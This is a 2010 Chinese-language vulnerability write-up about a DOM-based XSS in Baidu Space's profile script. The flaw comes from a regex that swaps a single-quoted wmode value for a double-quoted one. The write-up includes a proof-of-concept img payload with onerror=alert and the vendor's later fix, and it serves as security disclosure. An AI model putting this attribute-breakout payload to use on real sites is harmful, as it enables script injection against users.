Author: pz
Blog: http://hi.baidu.com/p__z
Team: http://www.80vul.com
date: 2010年5月12日
一 综述
百度空间的一段Javascript Dom操作函数在操作DOM时考虑不周,导致可以通过构造一段特殊的HTML代码,使该函数对其进行DOM操作,重新渲染页面,最终导致XSS漏洞。
二 分析
在http://hi.baidu.com/p__z/profile 代码:
(function(){
var m_aboutme = document.getElementById("m_aboutme"),
isIE = /*@cc_on!@*/false,
…
try{
if(m_aboutme.getElementsByTagName("embed").length > 0) { //如果在个人简介中存在embed标签
//替换个人简介中的wmode为transparent
m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=(‘|")(window|opaque)?\1/ig,’wmode="transparent"’);
}
}catch(e){}
};
if(isIE){
window.attachEvent("onload", onload);
}else{
window.addEventListener("load", onload, false);
}
})();
注意m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=(‘|")(window|opaque)?\1/ig,’wmode="transparent"’);要被替换的是wmode=(‘|")…,而进行替换的是wmode="transparent".这里替换的前后存在一个单引号和双引号的差异,正是因为这种前后标准的不统一的存在,导致了跨站脚本的执行.
假设一个HTML标签为<a id="wmode=’window’ foo=’bar’">,属性和值为{id : wmode=’window’ anything}被JS进行DOM操作后变为<a id="wmode="transparent" foo=’bar’">,属性和值为{id:wmode=,transparent: ,foo:bar}.如此一来,我们成功地把原来在值中的一串字符串转换到了HTML标签中的属性和对应的值.这将引起不必要的安全隐患.
三 利用
POC :
<embed …></embed><img border="0" alt="wmode=’window’ onerror=alert(/sobb03/) // " class="blogimg" small="0" src=#>
四 补丁[fix]
等待官方补丁
update 2010年5月13日
m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=(‘|")(window|opaque)?\1/ig,’wmode="transparent"’);
改为了:
m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=(‘|")(window|opaque)?\1/ig,function(all,a){
return ‘wmode=’+a+’transparent’+a;
0 条评论。